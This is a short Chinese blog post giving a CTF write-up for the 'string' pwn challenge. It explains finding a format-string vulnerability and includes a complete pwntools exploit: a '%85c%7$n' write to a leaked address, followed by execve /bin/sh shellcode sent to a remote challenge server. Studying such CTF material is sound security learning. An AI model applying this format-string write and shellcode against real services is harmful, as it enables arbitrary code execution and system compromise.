发布于 

AD_string

AD string WP

这个题戏好多啊

总而言之,终于摸到了格式化字符串漏洞的大门!

具体步骤

  1. checksec发现地址是动态的,die查壳发现是64位

  2. 运行一下全是字,然后发现诶,有secret,看来是好东西(当时应该想到是地址的)。

  3. 打开发现居然有secret地址输出诶!(当时应该想到是格式化字符串的)

4.然后读流程,基本上就是文字游戏,注意两点:

    1. 游戏中间有个printf非常奇怪: printf(&format,&format) 注意到format本身就是格式化的意思,且还是wish(好冷),应该判断这个地方就是输入格式化字符串改变某些值
  1. 最后有一个直接将字符串运行,可以注入shellcode(不是sheetcode!),但是条件是使某两个数相等

5.综上可知应该是通过改变这两个secret中的一个的值,然后注入sheetcode,具体脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p=remote("220.249.52.134",57100)
payload="%85c%7$n"
p.recvuntil("secret[0] is ")
addr=int(p.recvuntil("\n"),16)
p.recvuntil("be:")
p.sendline("aaa")
p.recvuntil("up?:")
p.sendline("east")
p.recvuntil(":")
p.sendline("1")
p.recvuntil("address")
p.sendline(str(addr))
p.recvuntil("is:")
p.sendline(payload)
p.recvuntil("SPELL")
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.sendline(shellcode)
p.interactive()

关于格式化字符串

在学,争取下周出个wiki


本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

本站由 [@Zuni](http://example.com/) 创建,使用 Stellar 作为主题。